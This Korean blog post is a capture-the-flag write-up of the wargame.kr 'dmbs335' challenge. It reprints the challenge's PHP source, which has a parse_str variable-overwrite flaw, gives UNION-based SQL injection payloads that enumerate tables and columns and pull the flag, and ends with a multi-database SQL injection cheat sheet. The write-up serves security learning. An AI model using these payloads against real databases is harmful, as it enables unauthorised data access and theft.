CTF 풀이

[드림핵] [wargame.kr] dmbs335 풀이 (+SQLI 치트시트)

화이트해커 Luna 🌙 2024. 2. 23. 21:44
728x90
반응형

[wargame.kr] dmbs335

 

 

 

PHP 소스 코드를 분석하면 SQL Injection 취약점이 발생하는 것을 확인할 수 있습니다. 사용자로부터 입력 받은 변수들이 SQL 쿼리의 일부로 사용되기 때문에 발생하는 취약점입니다.

 


1. 파라미터(Parameter) 및 매개변수(Argument)

 

문제에서 제공된 접속 정보로 접속하면, 다음과 같은 화면이 표시됩니다.

 

 

 

서치 버튼을 클릭하면, 파라미터(Parameter) 및 매개변수(Argument)를 분석할 수 있습니다.

 

 

파라미터
  • search_cols, keyword, operator와 같은 쿼리 문자열의 일부입니다.
  • URL에서 ? 이후의 부분인 search_cols=subject&keyword=&operator=or은 쿼리 문자열로, 각각의 파라미터와 그 값으로 구성되어 있습니다.

 

매개변수
  • 각 파라미터의 값들이 매개변수로 사용됩니다.
  • 예를 들어, search_cols=subject에서 search_cols는 파라미터이고, subject는 해당 파라미터의 값인 매개변수입니다.

 

특징
  • URL의 파라미터들은 서버 측의 PHP 스크립트에 전달되어 그 값들을 활용합니다.
  • 이 URL에서는 검색 조건에 대한 파라미터들이 전달됩니다. search_cols는 검색 대상 열(column)을 지정하고, keyword는 검색어를 나타냅니다.
  • operator는 조건들 간의 논리 연산자를 지정하는 것으로 보입니다. 여기서는 or로 설정되어 있습니다.

 

 

이 URL을 통해 서버 측의 PHP 스크립트가 실행되면, 각 파라미터의 값들이 스크립트에 전달되어 적절한 작업을 수행하게 됩니다.

 

이러한 방식으로 URL을 통해 파라미터와 매개변수가 서로 주고받아 서버와 클라이언트 간의 통신이 이루어집니다.

 

 

 


2. 소스코드 분석 (view-source)

 

 

문제를 다운할 필요도 없이, view-source 를 누르면 소스코드가 나옵니다. 

 

 

 

 

 

<?php 

if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
}

include("./inc.php"); // 데이터베이스 연결

// 사용자로부터 입력 받은 연산자 값을 처리하는 함수
function getOperator(&$operator) { 
    switch($operator) { 
        case 'and': 
        case '&&': 
            $operator = 'and'; 
            break; 
        case 'or': 
        case '||': 
            $operator = 'or'; 
            break; 
        default: 
            $operator = 'or'; 
            break; 
}} 

// 쿼리 문자열에 세션과 관련된 패턴이 존재하는지 확인하여, 발견되면 실행을 중단함
if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('허용되지 않습니다');
}

// URL에서 쿼리 문자열을 파싱하여 각 변수에 할당
parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
// SQL Injection 방어를 위해 사용자 입력에 addslashes() 함수를 적용하여 이스케이프 처리
$keyword = addslashes($keyword);
$where_clause = ''; 

// 검색 대상 열이 지정되지 않은 경우, 기본적으로 subject와 content 열을 검색 대상으로 설정
if(!isset($search_cols)) { 
    $search_cols = 'subject|content'; 
} 

// 검색 대상 열을 '|'를 기준으로 분할하여 배열로 만듦
$cols = explode('|',$search_cols); 

// 각 검색 대상 열에 대해 반복하여 쿼리 조건 생성
foreach($cols as $col) { 
    // 검색 대상 열이 subject, content, writer 중 하나인지 확인하여 올바른 값인 경우에만 처리
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; 
    if($col) { 
        // 사용자 입력을 포함한 검색 조건 생성
        $query_parts = $col . " like '%" . $keyword . "%'"; 
    } 

    // 쿼리 조건이 존재하는 경우, WHERE 절에 추가
    if($query_parts) { 
        $where_clause .= $query_parts; 
        $where_clause .= ' '; 
        $where_clause .= $operator; 
        $where_clause .= ' '; 
        $query_parts = ''; 
    } 
} 

// 만약 WHERE 절이 비어있는 경우, 기본적으로 content 열을 검색 대상으로 설정
if(!$where_clause) { 
    $where_clause = "content like '%{$keyword}%'"; 
} 

// WHERE 절 마지막에 연산자가 추가된 경우, 제거하여 올바른 쿼리 형태 유지
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    $len = strlen($where_clause) - (strlen($operator) + 2);
    $where_clause = substr($where_clause, 0, $len); 
} 

?>
<style>
    td:first-child, td:last-child {text-align:center;}
    td {padding:3px; border:1px solid #ddd;}
    thead td {font-weight:bold; text-align:center;}
    tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
    <thead>
        <tr><td>번호</td><td>제목</td><td>내용</td><td>작성자</td></tr>
    </thead>
    <tbody>
        <?php
            // 취약점: $where_clause 변수에 사용자 입력이 그대로 반영되어 있으며, 이는 SQL Injection 공격에 취약함
            $result = mysql_query("select * from board where {$where_clause} order by idx desc");
            while ($row = mysql_fetch_assoc($result)) {
                echo "<tr>";
                echo "<td>{$row['idx']}</td>";
                echo "<td>{$row['subject']}</td>";
                echo "<td>{$row['content']}</td>";
                echo "<td>{$row['writer']}</td>";
                echo "</tr>";
            }
        ?>
    </tbody>
    <tfoot>
        <tr><td colspan=4>
            <form method="">
                <select name="search_cols">
                    <option value="subject" selected>제목</option>
                    <option value="content">내용</option>
                    <option value="content|content">제목, 내용</option>
                    <option value="writer">작성자</option>
                </select>
                <input type="text" name="keyword" />
                <input type="radio" name="operator" value="or" checked /> 또는 &nbsp;&nbsp;
                <input type="radio" name="operator" value="and" /> 그리고
                <input type="submit" value="검색" />
            </form>
        </td></tr>
    </tfoot>
</table>
<br />
<a href="./?view-source">소스코드 보기</a><br />

 

 

 

 

소스 코드를 분석해보겠습니다.

 

  1. 조건문 확인:
    • if (isset($_GET['view-source'])) { ... }: URL에 view-source라는 파라미터가 있으면 현재 파일의 소스코드를 출력하고 실행을 종료합니다.
  2. 파일 포함:
    • include("./inc.php");: 데이터베이스 연결을 위한 파일을 포함시킵니다.
  3. 함수 정의:
    • getOperator(&$operator): 연산자를 처리하는 함수입니다. 주어진 연산자에 따라 값을 변경하여 반환합니다.
  4. 보안 검사:
    • preg_match('/session/isUD',$_SERVER['QUERY_STRING']): 쿼리 문자열에서 session이라는 단어를 찾아서 매칭합니다. 발견되면 실행을 중단하고 'not allowed'라는 메시지를 출력합니다.
  5. 쿼리 문자열 파싱:
    • parse_str($_SERVER['QUERY_STRING']);: URL에서 받은 쿼리 문자열을 파싱하여 각각의 변수에 할당합니다.
  6. 검색 조건 설정:
    • if(!isset($search_cols)) { ... }: 만약 $search_cols 변수가 설정되어 있지 않다면, 기본적으로 'subject|content'를 검색 대상으로 설정합니다.
  7. 쿼리 조건 생성:
    • $cols = explode('|',$search_cols);: '|'를 기준으로 문자열을 분할하여 검색 대상 열들을 배열로 만듭니다.
    • foreach($cols as $col) { ... }: 각 검색 대상 열에 대해 반복하면서 검색 조건을 생성합니다. 이때, 정규표현식을 사용하여 유효한 열인지 확인합니다.
    • 생성된 검색 조건은 $where_clause에 추가됩니다.
  8. 기본 검색 조건 설정:
    • $where_clause가 비어있으면, 기본적으로 content 열을 대상으로 한 검색 조건을 설정합니다.
  9. 최종 쿼리 조건 설정:
    • $operator를 사용하여 쿼리 조건을 완성합니다. 이때, 쿼리 조건의 끝에 있는 연산자를 제거합니다.
  10. 데이터 조회:
  • 완성된 쿼리 조건을 사용하여 데이터베이스에서 데이터를 조회합니다.
  • 조회된 결과를 HTML 테이블 형식으로 출력합니다.

 

이 코드는 사용자가 제공한 검색어 및 연산자가 SQL 쿼리에 그대로 반영되기 때문에, 악의적인 사용자가 조작된 입력을 통해 데이터베이스에 액세스하고 조작할 수 있습니다.

 

특히, $where_clause 변수에 사용자 입력이 직접 삽입되므로, 이를 이용하여 SQL Injection을 실행할 수 있습니다.


3. 페이로드

다음과 같은 페이로드를 사용하여 SQL Injection을 실행할 수 있습니다:

 

 

 

컬럼 수 확인

 

 

공격자는 쿼리 문자열에 union select 구문을 삽입하여 기존 쿼리에 새로운 SELECT 문을 추가합니다. 이를 통해 공격자는 컬럼 수를 확인할 수 있습니다. 예를 들어, search_cols에는 임의의 값인 a를, query_parts에는 union select 1,2,3,4 #를 입력합니다. 이렇게 하면 데이터베이스가 반환하는 결과의 컬럼 수를 확인할 수 있습니다.

 

 

search_cols=a&query_parts=0 union select 1,2,3,4 #

 

 

 

 

 

테이블 이름 확인

 

컬럼 수가 확인된 후, 공격자는 테이블 이름을 확인하기 위해 information_schema.tables 테이블을 이용합니다. 이를 위해 table_name 필드를 SELECT하고, union select 구문을 사용하여 새로운 SELECT 문을 추가합니다. 예를 들어, search_cols에는 a를, query_parts에는 union select 1,2,table_name,4 from information_schema.tables #를 입력하여 테이블 이름을 확인할 수 있습니다.

 

search_cols=a&query_parts=0 union select 1,2,table_name,4 from information_schema.tables #

 

 

 

컬럼 이름 확인

 

 

다음으로, 공격자는 테이블의 컬럼 이름을 확인하기 위해 information_schema.columns 테이블을 사용합니다. 이를 위해 column_name 필드를 SELECT하여 컬럼 이름을 가져옵니다. 공격자는 마찬가지로 union select 구문을 사용하여 기존 쿼리에 새로운 SELECT 문을 추가합니다. 예를 들어, search_cols에는 a를, query_parts에는 union select 1,2,column_name,4 from information_schema.columns #를 입력하여 테이블의 컬럼 이름을 확인할 수 있습니다.

 

 

search_cols=a&query_parts=0 union select 1,2,column_name,4 from information_schema.columns #

 

 

플래그 값 획득:

 

 

마지막으로, 공격자가 플래그 값을 얻기 위해 알고 있는 테이블과 컬럼 이름을 사용하여 플래그 값을 확인할 수 있습니다. 공격자는 해당 테이블의 플래그 값을 얻기 위해 union select 구문을 사용하여 새로운 SELECT 문을 추가합니다. 예를 들어, search_cols에는 a를, query_parts에는 union select 1,2,f1ag,4 from Th1s_1s_Flag_tbl #를 입력하여 플래그 값을 확인할 수 있습니다.

 

search_cols=a&query_parts=0 union select 1,2,f1ag,4 from Th1s_1s_Flag_tbl #

 


4. SQL인젝션 치트시트 

 

문자열 연결

  • Oracle: 'foo'||'bar'
  • Microsoft: 'foo'+'bar'
  • PostgreSQL: 'foo'||'bar'
  • MySQL: 'foo' 'bar' (두 문자열 사이의 공백 주의) 또는 CONCAT('foo','bar')

부분 문자열

  • Oracle: SUBSTR('foobar', 4, 2)
  • Microsoft: SUBSTRING('foobar', 4, 2)
  • PostgreSQL: SUBSTRING('foobar', 4, 2)
  • MySQL: SUBSTRING('foobar', 4, 2)

주석

  • Oracle: --comment
  • Microsoft: --comment 또는 /*comment*/
  • PostgreSQL: --comment 또는 /*comment*/
  • MySQL: #comment, -- comment, 또는 /*comment*/

데이터베이스 버전

  • Oracle: SELECT banner FROM v$version 또는 SELECT version FROM v$instance
  • Microsoft: SELECT @@version
  • PostgreSQL: SELECT version()
  • MySQL: SELECT @@version

데이터베이스 내용

  • Oracle: SELECT * FROM all_tables, SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
  • Microsoft: SELECT * FROM information_schema.tables, SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
  • PostgreSQL: SELECT * FROM information_schema.tables, SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
  • MySQL: SELECT * FROM information_schema.tables, SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

 

 

(출처 : portswigger.net)

 


문의는 댓글 남겨주세요

728x90
반응형